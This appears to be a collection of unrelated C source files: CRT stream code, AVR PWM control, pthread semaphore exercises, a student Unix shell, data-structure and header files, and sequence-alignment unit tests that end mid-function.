* Copyright (c) 1985-1997, Microsoft Corporation. All rights reserved.
*
*Purpose:
* defines _fdopen() - opens a file descriptor as a stream, thus allowing
* buffering, etc.
*
*******************************************************************************/
#include <cruntime.h>
#include <msdos.h>
#include <stdio.h>
#include <file2.h>
#include <dbgint.h>
#include <internal.h>
#include <mtdll.h>
#include <tchar.h>
/***
*FILE *_fdopen(filedes, mode) - open a file descriptor as a stream
*
*Purpose:
* associates a stream with a file handle, thus allowing buffering, etc.
* The mode must be specified and must be compatible with the mode
* the file was opened with in the low level open.
*
*Entry:
* int filedes - handle referring to open file
* _TSCHAR *mode - file mode to use ("r", "w", "a", etc.)
*
*Exit:
* returns stream pointer and sets FILE struct fields if successful
* returns NULL if fails
*
*Exceptions:
*
*******************************************************************************/
FILE * __cdecl _tfdopen (
int filedes,
REG2 const _TSCHAR *mode
)
{
REG1 FILE *stream;
int whileflag, tbflag, cnflag;
_ASSERTE(mode != NULL);
#if defined (_WIN32)
_ASSERTE((unsigned)filedes < (unsigned)_nhandle);
_ASSERTE(_osfile(filedes) & FOPEN);
if ( ((unsigned)filedes >= (unsigned)_nhandle) ||
!(_osfile(filedes) & FOPEN) )
return(NULL);
#else /* defined (_WIN32) */
#if defined (_M_MPPC) || defined (_M_M68K)
_ASSERTE((unsigned)filedes < (unsigned)_nfile);
_ASSERTE(_osfile[filedes] & FOPEN);
if ( ((unsigned)filedes >= (unsigned)_nfile) ||
!(_osfile[filedes] & FOPEN) )
return(NULL);
#endif /* defined (_M_MPPC) || defined (_M_M68K) */
#endif /* defined (_WIN32) */
/* Find a free stream; stream is returned 'locked'. */
if ((stream = _getstream()) == NULL)
return(NULL);
/* First character must be 'r', 'w', or 'a'. */
switch (*mode) {
case _T('r'):
stream->_flag = _IOREAD;
break;
case _T('w'):
case _T('a'):
stream->_flag = _IOWRT;
break;
default:
stream = NULL; /* error */
goto done;
break;
}
/* There can be up to three more optional characters:
(1) A single '+' character,
(2) One of 'b' and 't' and
(3) One of 'c' and 'n'.
Note that currently, the 't' and 'b' flags are syntax checked
but ignored. 'c' and 'n', however, are correctly supported.
*/
whileflag=1;
tbflag=cnflag=0;
stream->_flag |= _commode;
while(*++mode && whileflag)
switch(*mode) {
case _T('+'):
if (stream->_flag & _IORW)
whileflag=0;
else {
stream->_flag |= _IORW;
stream->_flag &= ~(_IOREAD | _IOWRT);
}
break;
case _T('b'):
case _T('t'):
if (tbflag)
whileflag=0;
else
tbflag=1;
break;
case _T('c'):
if (cnflag)
whileflag = 0;
else {
cnflag = 1;
stream->_flag |= _IOCOMMIT;
}
break;
case _T('n'):
if (cnflag)
whileflag = 0;
else {
cnflag = 1;
stream->_flag &= ~_IOCOMMIT;
}
break;
default:
whileflag=0;
break;
}
#ifndef CRTDLL
_cflush++; /* force library pre-termination procedure */
#endif /* CRTDLL */
stream->_file = filedes;
#if defined (_M_MPPC) || defined (_M_M68K)
if ( ( ( _osfile[filedes] & FRDONLY ) && (stream->_flag & (_IORW | _IOWRT)) ) ||
( ( _osfile[filedes] & FWRONLY ) && (stream->_flag & (_IORW | _IOREAD)) ) )
{
stream->_flag = 0; /* stream not used */
return(NULL);
}
#endif /* defined (_M_MPPC) || defined (_M_M68K) */
/* Common return */
done:
_unlock_str(stream);
return(stream);
}
|
C
|
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define ATTACH_FILE "./attach_device"
int main(int argc,char **argv){
char linebuffer[512]={0};
FILE *fp_attach_device;
int ch= 0;
fp_attach_device = fopen(ATTACH_FILE,"r");
/*first judge whether the dest file is empty */
if(NULL != fp_attach_device) {
printf("The %s is existing!\n",ATTACH_FILE);
ch = fgetc(fp_attach_device);
if(ch != EOF){
/*reset the location pointer to the head of the file, or the fgets following will get
wrong result!*/
fseek(fp_attach_device,-1,SEEK_CUR);
printf("The attach_device contains some information!goto netscan!\n");
goto netscan;
}
}
netscan:
memset(linebuffer,0x00,sizeof(linebuffer));
while(fgets(linebuffer,512,fp_attach_device)){
printf("the linebuffer is %s\n",linebuffer);
}
return 0;
}
|
C
|
/*
* GccApplication1.c
*
* Created: 5/15/2019 9:11:08 PM
* Author : user
*/
#ifndef F_CPU
#define F_CPU 16000000UL
#endif
#include <avr/io.h>
#include <util/delay.h>
void PWM_init()
{
/*set fast PWM mode with non-inverting output*/
TCCR0=(1<<WGM00)|(1<<WGM01)|(1<<CS01)|(1<<CS00);
TCCR2=(1<<WGM20)|(1<<WGM21)|(1<<CS21)|(1<<CS20);
DDRB|=(1<<PB3);/*set OC0 pin as output*/
DDRB|=(1<<PD7);/*set OC0 pin as output*/
}
int main()
{
DDRD&=~(1<<PD0);
DDRD&=~(1<<PD1);
DDRD&=~(1<<PD5);
DDRD&=~(1<<PD6);
PWM_init();
PORTB=(0<<PB0);
while(1)
{
if((PIND & (1<<PD0) )== 0)
{
OCR0=0;
OCR2=100;
_delay_ms(1000);
}
if((PIND & (1<<PD1)) == 0)
{
OCR0=100;
OCR0=0;
_delay_ms(1000);
}
if((PIND & (1<<PD5) )== 0)
{
OCR0=0;
OCR2=200;
_delay_ms(1000);
}
if((PIND & (1<<PD6))== 0)
{
OCR0=200;
OCR2=0;
_delay_ms(1000);
}
}
}
|
C
|
#include <stdio.h>
#include <pthread.h>
#include <semaphore.h>
#include <unistd.h>
#define FILE_LOGS "logs.txt"
#define MAX_BUFFER_SIZE 10
#define START_BUFFER_LENGTH 5
#ifdef FILE_LOGS
#define printf(...) fprintf(pFile, __VA_ARGS__)
FILE *pFile;
#endif
/* Потокові змінні */
pthread_t thread1;
pthread_t thread2;
pthread_t thread3;
pthread_t thread4;
pthread_t thread5;
/* Оголошення семафорів */
sem_t SCR1;
sem_t sem1;
sem_t sem2;
/* М'ютекс для захисту черги */
pthread_mutex_t MCR1 = PTHREAD_MUTEX_INITIALIZER;
int next = 0;
int CR1[MAX_BUFFER_SIZE];
int stack_length = 0;
int passageway = 0;
/* Додавання нового елементу до черги */
void push_stack(int value)
{
CR1[stack_length++] = value;
}
/* Взяття чергового елементу з голови черги для обробки */
int pop_stack()
{
/* Точно відомо, що черга не пуста */
return CR1[--stack_length];
}
void* thread_producer(void* arg)
{
/* Змінна для зберігання номера потоку */
int num = *(int*)arg;
/* Змінна для зберігання поточного значення лічильника семафора */
int sem_value;
while (1)
{
if (passageway == 4) {
break;
}
if (pthread_mutex_trylock(&MCR1) == 0)
{
if (stack_length < MAX_BUFFER_SIZE)
{
push_stack(next++);
sem_post(&SCR1);
sem_getvalue(&SCR1, &sem_value);
printf("Producer thread%d: semaphore=%d; element %d CREATED;\n", num, sem_value, CR1[stack_length - 1]);
if(passageway == 0 && stack_length == MAX_BUFFER_SIZE) {
passageway++;
}
else if(passageway == 2 && stack_length == MAX_BUFFER_SIZE) {
passageway++;
}
}
pthread_mutex_unlock(&MCR1);
}
else {
printf("Thread%d waits for the mutex to open.\n", num);
}
usleep(1);
}
printf("Producer thread%d stopped !!!\n", num);
return NULL;
}
void* thread_consumer(void* arg)
{
/* Змінна для зберігання номера потоку */
int num = *(int*)arg;
/* Оголошення вказівника curr_elem, який буде вказувати на поточний елемент з голови черги,
для виконання над ним потрібних дій */
int curr_elem = 0;
/* Змінна для зберігання поточного значення лічильника семафора */
int sem_value;
while (1)
{
if (num == 1)
{
printf("Thread%d opens semaphore sem2\n", num);
sem_post(&sem2);
printf("Semaphore sem2 is opened!\n");
printf("Thread%d waits for the opening of the semaphore sem1\n", num);
sem_wait(&sem1);
printf("Thread%d successfully passed semaphore sem1\n", num);
}
else if (num == 2)
{
printf("Thread%d opens semaphore sem1\n", num);
sem_post(&sem1);
printf("Semaphore sem1 is opened!\n");
do {
printf("Thread%d waits for the opening of the semaphore sem2\n", num);
} while (sem_trywait(&sem2) == -1);
printf("Thread%d successfully passed semaphore sem2\n", num);
}
/* Чекаємо доки семафор буде готовим. Якщо його значення більше 0,
* то це означає, що черга не пуста, зменшуємо лічильник на 1.
* Якщо черга пуста, то операція блокуєтся доти, доки в черзі не
* з'явиться хоч одне нове завдання */
sem_wait(&SCR1);
if (pthread_mutex_trylock(&MCR1) == 0)
{
curr_elem = pop_stack();
sem_getvalue(&SCR1, &sem_value);
printf("Consumer thread%d: semaphore=%d; element %d TAKEN;\n", num, sem_value, curr_elem);
if(passageway == 1 && stack_length == 0) {
passageway++;
}
else if(passageway == 3 && stack_length == 0) {
passageway++;
pthread_mutex_unlock(&MCR1);
break;
}
/* Звільнення м'ютекса черги, оскільки доступ до
* спільного ресурсу (тобто черги) поки-що завершений */
pthread_mutex_unlock(&MCR1);
}
else {
sem_post(&SCR1);
printf("Thread%d waits for the mutex to open.\n", num);
}
}
/* Відміна всіх інших потоків, оскільки завдання вичерпались
* і постачальник припинив роботу */
pthread_cancel(thread1);
pthread_cancel(thread2);
printf("Consumers thread1 and thread2 stopped !!!\n");
return NULL;
}
int main()
{
#ifdef FILE_LOGS
pFile = fopen(FILE_LOGS, "w");
#endif
/* Оголошення змінних для нумерації потоків */
int thread1_number = 1;
int thread2_number = 2;
int thread3_number = 3;
int thread4_number = 4;
int thread5_number = 5;
/* Ініціалізація семафорів */
sem_init(&SCR1, 0, 0);
sem_init(&sem1, 0, 0);
sem_init(&sem2, 0, 0);
int sem_value;
sem_getvalue(&SCR1, &sem_value);
printf("SCR1 = %d\n", sem_value);
for(next = 0; next < START_BUFFER_LENGTH; ++next)
{
push_stack(next);
sem_post(&SCR1);
}
printf("Queue with elements from 0-th to %d-th has been created !!!\n", START_BUFFER_LENGTH - 1);
sem_getvalue(&SCR1, &sem_value);
printf("SCR1 = %d\n", sem_value);
/* Кожному потоку передається вказівник на його номер, приведений до типу void* */
pthread_create(&thread1, NULL, &thread_consumer, (void*)&thread1_number);
pthread_create(&thread2, NULL, &thread_consumer, (void*)&thread2_number);
pthread_create(&thread3, NULL, &thread_producer, (void*)&thread3_number);
pthread_create(&thread4, NULL, &thread_producer, (void*)&thread4_number);
pthread_create(&thread5, NULL, &thread_producer, (void*)&thread5_number);
/* Очікуємо завершення всіх потоків */
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
pthread_join(thread3, NULL);
pthread_join(thread4, NULL);
pthread_join(thread5, NULL);
printf("All threads stopped !!!\n");
#ifdef FILE_LOGS
fclose(pFile);
#endif
return 0;
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include "system.h"
#define Tmax 1000
#define T0max 200
// Tmax = Maximum Timesteps For The Correlation Time
// T0max = Maximum Number Of Time Origins
void SampleDiff(int Switch)
{
int Tcounter,i,T,Dt;
static int Tvacf,Tt0[T0max],T0;
double Dtime;
static double R2t[Tmax],Rx0[T0max],Nvacf[Tmax];
FILE *FilePtr;
switch(Switch)
{
case 1:
Tvacf=0;
T0=0;
for(i=1;i<=Tmax;i++)
{
R2t[i]=0.0;
Nvacf[i]=0.0;
}
break;
case 2:
Tvacf++;
if((Tvacf%50)==0)
{
T0++;
Tcounter=(T0-1)%T0max;
Tt0[Tcounter]=Tvacf;
Rx0[Tcounter]=Position;
}
for(T=0;T<MIN(T0,T0max);T++)
{
Dt=Tvacf-Tt0[T];
if(Dt<Tmax)
{
Nvacf[Dt]+=1.0;
R2t[Dt]+=SQR(Position-Rx0[T]);
}
}
break;
case 3:
FilePtr=fopen("msd.dat","w");
for(i=0;i<Tmax-1;i++)
{
Dtime=i*Tstep;
if(Nvacf[i]>0.5)
R2t[i]=R2t[i]/Nvacf[i];
else
R2t[i]=0.0;
if(i!=0)
fprintf(FilePtr,"%f %f %f\n",Dtime,R2t[i],R2t[i]/(2.0*Dtime));
else
fprintf(FilePtr,"%f %f 0.0\n",Dtime,R2t[i]);
}
fclose(FilePtr);
break;
}
}
|
C
|
//
// AutoreleaseStack.c
// Human
//
// Created by BenNovikov on 03.07.15.
// Copyright (c) 2015 ___Basic_Notation___. All rights reserved.
//
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include "BNAutoreleaseStack.h"
#include "BNObject.h"
#include "BNMacros.h"
struct BNAutoreleaseStack {
BNObject _super;
void **_data;
uint64_t _capacity;
uint64_t _count;
};
#pragma mark -
#pragma mark Private Declaration
static
void **BNAutoreleaseStackGetData(BNAutoreleaseStack *stack);
static
void BNAutoreleaseStackSetDataAtIndex(BNAutoreleaseStack *stack, void *object, uint64_t index);
static
uint64_t BNAutoreleaseStackGetCapacity(BNAutoreleaseStack *stack);
static
void BNAutoreleaseStackSetCapacity(BNAutoreleaseStack *stack, uint64_t capacity);
static
uint64_t BNAutoreleaseStackGetCountField(BNAutoreleaseStack *stack);
static
void BNAutoreleaseStackSetCount(BNAutoreleaseStack *stack, uint64_t count);
#pragma mark -
#pragma mark Public Implementation
BNAutoreleaseStack *BNAutoreleaseStackCreateWithCapacity(uint64_t capacity) {
BNAutoreleaseStack *stack = BNObjectCreateOfType(BNAutoreleaseStack);
BNAutoreleaseStackSetCapacity(stack, capacity);
BNAutoreleaseStackSetCount(stack, 0);
return stack;
}
void __BNAutoreleaseStackDeallocate(void *stack) {
__BNObjectDeallocate(stack);
}
uint64_t BNAutoreleaseStackGetCount(BNAutoreleaseStack *stack) {
return BNAutoreleaseStackGetCountField(stack);
}
void BNAutoreleaseStackPush(void *stack, void *object) {
if (NULL != stack) {
assert(false == BNAutoreleaseStackIsFull(stack));
uint64_t count = BNAutoreleaseStackGetCount(stack);
BNAutoreleaseStackSetCount(stack, count + 1);
BNAutoreleaseStackSetDataAtIndex(stack, object, count);
}
}
BNAutoreleaseStackPopType BNAutoreleaseStackPop(void *stack){
if (NULL != stack && false == BNAutoreleaseStackIsEmpty(stack)) {
uint64_t count = BNAutoreleaseStackGetCount(stack) - 1;
void **data = BNAutoreleaseStackGetData(stack)[count];
BNAutoreleaseStackSetCount(stack, count);
if (NULL != data) {
BNObjectRelease(data);
return BNAutoreleaseStackPoppedObject;
}
}
return BNAutoreleaseStackPoppedNULL;
}
BNAutoreleaseStackPopType BNAutoreleaseStackPopUntilEmpty(void *stack) {
BNAutoreleaseStackPopType result;
assert(NULL != stack);
do {
result = BNAutoreleaseStackPop(stack);
} while (BNAutoreleaseStackPoppedNULL != result);
return result;
}
bool BNAutoreleaseStackIsFull(void *stack) {
return (NULL != stack) && (BNAutoreleaseStackGetCount(stack) == BNAutoreleaseStackGetCapacity(stack));
}
bool BNAutoreleaseStackIsEmpty(void *stack) {
return (NULL != stack) && (0 == BNAutoreleaseStackGetCount(stack));
}
#pragma mark -
#pragma mark Private Implementation
void **BNAutoreleaseStackGetData(BNAutoreleaseStack *stack) {
return BNGetObjectVar(stack, _data);
}
void BNAutoreleaseStackSetDataAtIndex(BNAutoreleaseStack *stack, void *object, uint64_t index) {
if (NULL != stack && (index < BNAutoreleaseStackGetCount(stack) || 0 == index)) {
void **data = BNAutoreleaseStackGetData(stack)[index];
if (data != object) {
// if (NULL != data) {
// BNObjectRelease(data);
// }
BNAutoreleaseStackGetData(stack)[index] = object;
}
}
}
uint64_t BNAutoreleaseStackGetCapacity(BNAutoreleaseStack *stack) {
return BNGetPrimitiveVar(stack, _capacity);
}
void BNAutoreleaseStackSetCapacity(BNAutoreleaseStack *stack, uint64_t capacity) {
BNSetObjectVar(stack, _capacity, capacity);
}
uint64_t BNAutoreleaseStackGetCountField(BNAutoreleaseStack *stack) {
return BNGetPrimitiveVar(stack, _count);
}
void BNAutoreleaseStackSetCount(BNAutoreleaseStack *stack, uint64_t count) {
if (NULL != stack) {
uint64_t capacity = BNGetPrimitiveVar(stack, _capacity);
if (0 == count) {
if (NULL != stack->_data) {
free(stack->_data);
stack->_data = NULL;
} else {
// stack->_data = calloc(1, capacity * sizeof(*stack->_data));
stack->_data = malloc(capacity * sizeof(*stack->_data));
assert(NULL != stack->_data);
}
}
if (count <= capacity) {
BNSetObjectVar(stack, _count, count);
}
}
}
|
C
|
/*
-----------------------------------------------------------------------------------
Nom du fichier : bateau.h
Auteur(s) : Joel Dos Santos Matias, Géraud Silvestri, Valentin Kaelin
Date creation : 30.05.2021
Description : Met à disposition les bases nécessaires à la gestion du port.
Structure les différents types de Bateaux du Port.
Remarque(s) : Les taxes, étant des champs calculés, ne sont pas stockées
directement dans la structure du Bateau. Il faut les calculer en
utilisant les fonctions mises à disposition dans le module taxes.
Compilateur : Mingw-w64 gcc 8.1.0
-----------------------------------------------------------------------------------
*/
#ifndef PRG2_LABO2_BATEAU_H
#define PRG2_LABO2_BATEAU_H
#include <stdint.h>
#include <stdbool.h>
typedef const char* Nom;
typedef enum {
VOILIER, BATEAU_MOTEUR
} TypeBateau;
typedef enum {
PECHE, PLAISANCE
} TypeBateauMoteur;
typedef uint16_t SurfaceVoile;
typedef uint16_t PuissanceMoteur;
typedef uint8_t CapaciteMaxPeche;
typedef uint8_t Longueur;
extern const char* const TYPE_BATEAU[];
extern const char* const TYPE_BATEAU_MOTEUR[];
typedef struct {
SurfaceVoile surfaceVoile; // en mètres-carrés [m²]
} Voilier;
typedef struct {
CapaciteMaxPeche capaciteMaxPeche; // en tonnes [t]
} BateauPeche;
typedef struct {
Nom nomProprietaire;
Longueur longueur; // en mètres [m]
} BateauPlaisance;
typedef union {
BateauPeche bateauPeche;
BateauPlaisance bateauPlaisance;
} SpecBateauMoteur;
typedef struct {
TypeBateauMoteur typeBateauMoteur;
SpecBateauMoteur specBateauMoteur;
PuissanceMoteur puissanceMoteur; // en nombre de chevaux [CV]
} BateauMoteur;
typedef union {
Voilier voilier;
BateauMoteur bateauMoteur;
} SpecBateaux;
typedef struct {
Nom nom;
TypeBateau typeBateau;
SpecBateaux specBateaux;
} Bateau;
typedef Bateau Port[];
/**
* Permet de construire un bateau de type voilier
* @param nom : nom du bateau
* @param surfaceVoile : surface de la voile en mètres-carrés
* @return la structure du bateau
*/
Bateau voilier(Nom nom, SurfaceVoile surfaceVoile);
/**
* Permet de construire un bateau à moteur de pêche
* @param nom : nom du bateau
* @param puissanceMoteur : en nombre de chevaux
* @param capaciteMaxPeche : en tonnes
* @return la structure du bateau
*/
Bateau bateauPeche(Nom nom, PuissanceMoteur puissanceMoteur,
CapaciteMaxPeche capaciteMaxPeche);
/**
* Permet de construire un bateau à moteur de plaisance
* @param nom : nom du bateau
* @param puissanceMoteur : en nombre de chevaux
* @param nomProprietaire : nom du propriétaire
* @param longueur : en mètres
* @return la structure du bateau
*/
Bateau bateauPlaisance(Nom nom, PuissanceMoteur puissanceMoteur,
Nom nomProprietaire, Longueur longueur);
/**
* Signatures des fonctions servant à vérifier le type d'un Bateau
*/
typedef bool (* VerificationType)(const Bateau*);
/**
* Vérifie que le Bateau entré en paramètre est un voilier
* @param bateau
* @return true si le Bateau est bien un voilier, false autrement
*/
bool estVoilier(const Bateau* bateau);
/**
* Vérifie que le Bateau entré en paramètre est un Bateau de plaisance
* @param bateau
* @return true si le Bateau est bien un Bateau de plaisance, false autrement
*/
bool estBateauPlaisance(const Bateau* bateau);
/**
* Vérifie que le Bateau entré en paramètre est un Bateau de pêche
* @param bateau
* @return true si le Bateau est bien un Bateau de pêche, false autrement
*/
bool estBateauPeche(const Bateau* bateau);
#endif // PRG2_LABO2_BATEAU_H
|
C
|
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#define MAX_LINE 80 /* 80 chars per line, per command */
#define READ_END 0
#define WRITE_END 1
int main(void)
{
char *args[MAX_LINE/2 + 1]; /* command line (of 80) has max of 40 arguments */
int should_run = 1; //indicates that exit is not entered
int buffer_size = 0;
int args_size = 0;
char * buffer;
buffer = (char *)malloc((MAX_LINE+1)*sizeof(char));
int saved = 0;
int concurrent;
while (should_run){
printf("osh>");
fflush(stdout);
char * s; //declaration of string that is inputted
s = (char *)malloc((MAX_LINE+1)*sizeof(char));
ssize_t buf_size = MAX_LINE;
getline(&s, &buf_size, stdin); //getting input
//checking if it's !! that is history
if (strcmp(s,"!!\n")==0){
if (saved == 1) //saved is 1 when there is a command in the buffer
{
strcpy(s, buffer); //s gets updated with the content of the buffer
printf("%s\n", s); //the command is printed
fflush(stdout);
}
else
printf("No commands in history\n"); //if the buffer is empty
}
else {
strcpy(buffer,s); //if not !! then copy s into buffer to create history
saved = 1; //assign 1 to saved
}
//String parsing
char delim[] = " \n\a\r\t";
char *ptr = strtok(s, delim);
//if input is only the delimiting characters
while (ptr == NULL){
printf("osh>");
fflush(stdout);
getline(&s, &buf_size, stdin);
if (strcmp(s,"!!\n")==0){
if (saved == 1) {
strcpy(s, buffer);
printf("%s\n", s);
fflush(stdout);
}
else
printf("No commands in history\n");
} else {
strcpy(buffer,s);
saved = 1;
}
ptr = strtok(s, delim);
}
int i = 0;
while (ptr != NULL){
args[i] = ptr;
ptr = strtok(NULL, delim);
i = i + 1;
}
//checking if parent will run concurrent with child (no waiting)
if (strcmp(args[i-1],"&") == 0){
concurrent = 0;
i = i - 1; //to set to NULL
} else
concurrent = 1;
args[i] = NULL; //set last element to null
args_size = i;
if (strcmp(args[0],"exit") == 0) //if exit is inputted, terminate
{
should_run=0;
return 0;
}
//creating child
pid_t pid;
pid = fork();
if (pid <0) //if fails to create child
{
fprintf(stderr, "Fork Failed");
return 1;
}
else if (pid == 0) //if child is created
{
fflush(stdout);
int j = 0;
while (j < args_size)
{
int comp = args_size - 1;
if (strcmp (args[j], "<")==0) //checking for redirection
{
fflush(stdout);
if(j == comp) //if redirection character is last character (validation)
{
printf("Syntax error\n");
fflush(stdout);
args[0] = NULL;
}
else if( (strcmp(args[j+1], ">") == 0) | (strcmp(args[j+1], "<") == 0)) //if two redicretion characters followed by each other (validation)
{
printf("Syntax error\n");
fflush(stdout);
args[0] = NULL;
}
else //redirecting input to file
{
int fd = open(args[j + 1], O_RDONLY);
dup2(fd, STDIN_FILENO);
close(fd);
args[j] = NULL;
args[j + 1] = NULL;
}
fflush(stdout);
j = 100;
}
else if (strcmp(args[j], ">")==0) //checking for redirection
{
if (j == comp) //if redirection character is last character (validation)
{
printf("Syntax error\n");
fflush(stdout);
args[0] = NULL;
}
if((strcmp(args[j+1], "<") == 0) |(strcmp(args[j+1], ">") == 0)) //if two redicretion characters followed by each other (validation)
{
printf("Syntax error\n");
fflush(stdout);
args[0] = NULL;
}
else //redirecting output to file
{
int fd = open(args[j + 1], O_WRONLY | O_CREAT, 0644);
dup2(fd, STDOUT_FILENO);
close(fd);
args[j] = NULL;
args[j + 1] = NULL;
}
j = 100;
}
else if (strcmp(args[j], "|")==0) //checking for pipe
{
args[j] = NULL;
int fd[2];
if (pipe(fd) == -1)
{
fprintf(stderr, "Pipe failed");
}
//creating child
pid_t pid1 = fork();
char *args2[MAX_LINE/2 + 1];
int x = 0;
//creating args2(executed by grandchild) and args(executed by child)
while (x < j)
{
args2[x] = args[x];
x = x + 1;
}
args2[j] = NULL;
x = j+1;
while(x <= args_size){
args[x-j-1] = args[x];
x = x + 1;
}
//grandchild failed to be created
if (pid1 < 0)
{
fprintf(stderr, "Fork Failed");
return 1;
}
else if (pid1 == 0) //grandchild was created
{
close(fd[READ_END]); //close read end of pipe
dup2(fd[WRITE_END], STDOUT_FILENO); //write to write end of pipe
close(fd[WRITE_END]);
if (execvp(args2[0], args2) == -1){
printf("Error executing instruction\n");
return 1;
}
}
else
{
waitpid(pid1, NULL, 0); //child wait for grandchild
close(fd[WRITE_END]); //close write end of pipe
dup2(fd[READ_END], STDIN_FILENO); //read from read end if pipe
close(fd[READ_END]);
}
j = 100;
}
j = j + 1;
}
if (execvp(args[0], args) == -1) //child executes
{
printf("Error executing instruction\n");
return 1;
}
}
else if (concurrent == 1) //if parent and concurrent = 1 wait for child
{
waitpid(pid, NULL, 0);
}
}
return 0;
}
|
C
|
/* ************************************************************************* */
/* Organizacion del Computador II */
/* */
/* Definiciones de los filtros y estructuras de datos utiles */
/* */
/* ************************************************************************* */
#ifndef FILTER_HH
#define FILTER_HH
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
#include "../bmp/bmp.h"
typedef struct __attribute__((packed)) s_RGB {
uint8_t b;
uint8_t g;
uint8_t r;
} RGB;
typedef struct __attribute__((packed)) s_RGBA {
uint8_t a;
uint8_t b;
uint8_t g;
uint8_t r;
} RGBA;
void to24(uint32_t w, uint32_t h, uint8_t* src32, uint8_t* dst24);
void to32(uint32_t w, uint32_t h, uint8_t* src24, uint8_t* dst32);
void C_blur(uint32_t w, uint32_t h, uint8_t* data);
void ASM_blur1(uint32_t w, uint32_t h, uint8_t* data);
void ASM_blur2(uint32_t w, uint32_t h, uint8_t* data);
void ASM_blur3(uint32_t w, uint32_t h, uint8_t* data);
void C_merge(uint32_t w, uint32_t h, uint8_t* data1, uint8_t* data2, float value);
void ASM_merge1(uint32_t w, uint32_t h, uint8_t* data1, uint8_t* data2, float value);
void ASM_merge2(uint32_t w, uint32_t h, uint8_t* data1, uint8_t* data2, float value);
void ASM_merge3(uint32_t w, uint32_t h, uint8_t* data1, uint8_t* data2, float value);
void C_hsl(uint32_t w, uint32_t h, uint8_t* data, float hh, float ss, float ll);
void ASM_hsl1(uint32_t w, uint32_t h, uint8_t* data, float hh, float ss, float ll);
void ASM_hsl2(uint32_t w, uint32_t h, uint8_t* data, float hh, float ss, float ll);
void rgbTOhsl(uint8_t *src, float *dst);
void hslTOrgb(float *src, uint8_t *dst);
int max(int a,int b, int c);
int min(int a,int b, int c);
#endif
|
C
|
/*
Copyright (C) 2016
Contact: Dmitry Sigaev <[email protected]>
*/
#include "../../utests/tests.h"
#include <stdint.h>
#include <stdio.h>
#include <malloc.h>
#include "../sw.h"
#include "../gc_sw.h"
#include "../lal_encoding.h"
#include "../lal_tables.h"
START_TEST(test_sw_double_symbols)
{
char seq1[] = { "ABAC" };
size_t len1 = strlen(seq1);
char seq2[] = { "ADACCG" };
size_t len2 = strlen(seq2);
sequence_t sseq1 = { 1, (char *)seq1, len1 };
sequence_t sseq2 = { 2, (char *)seq2, len2 };
search_swcg_profile_t sp = { -1, NULL };
double score = sw_constant_gap_double(&sp, &sseq1, &sseq2);
ck_assert_int_eq((int)score, 2); /* Max score */
}END_TEST
START_TEST(test_sw_double_encoded)
{
char seq1[] = { "ABAC" };
size_t len1 = strlen(seq1);
char seq2[] = { "ADACCG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swcg_profile_t sp = { -1, NULL };
double score = sw_constant_gap_double(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 2); /* Max score */
}END_TEST
START_TEST(test_sw_double_encoded_vtable)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "ABAC" };
size_t len1 = strlen(seq1);
char seq2[] = { "ADACCG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swcg_profile_t sp = { -1, (!status) ? (NULL) : (&mtx) };
double score = sw_constant_gap_double(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 5); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_double)
{
char seq1[] = { 1 , 2 , 1 , 5 };
size_t len1 = sizeof(seq1) / sizeof(seq1[0]);
char seq2[] = { 1 , 3 , 1 , 5, 5, 6 };
size_t len2 = sizeof(seq2) / sizeof(seq2[0]);
sequence_t sseq1 = { 1, (char *)seq1, len1 };
sequence_t sseq2 = { 2, (char *)seq2, len2 };
search_swcg_profile_t sp = { -1, NULL };
double score = sw_constant_gap_double(&sp, &sseq1, &sseq2);
ck_assert_int_eq((int)score, 2); /* Max score */
}END_TEST
START_TEST(test_sw_int)
{
char seq1[] = { 1 , 2 , 1 , 5 };
size_t len1 = sizeof(seq1) / sizeof(seq1[0]);
char seq2[] = { 1 , 3 , 1 , 5, 5, 6 };
size_t len2 = sizeof(seq2) / sizeof(seq2[0]);
sequence_t sseq1 = { 1, (char *)seq1, len1 };
sequence_t sseq2 = { 2, (char *)seq2, len2 };
search_swcg_profile_int_t sp = { -1, NULL };
int64_t score = sw_constant_gap_int(&sp, &sseq1, &sseq2);
ck_assert_int_eq(score, 2); /* Max score */
}END_TEST
START_TEST(test_sw_int_encoded_vtable)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "ABAC" };
size_t len1 = strlen(seq1);
char seq2[] = { "ADACCG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swcg_profile_int_t sp = { -1, (!status) ? (NULL) : (&mtx) };
int64_t score = sw_constant_gap_int(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 5); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double)
{
char seq1[] = { 1 , 2 , 1 , 5 };
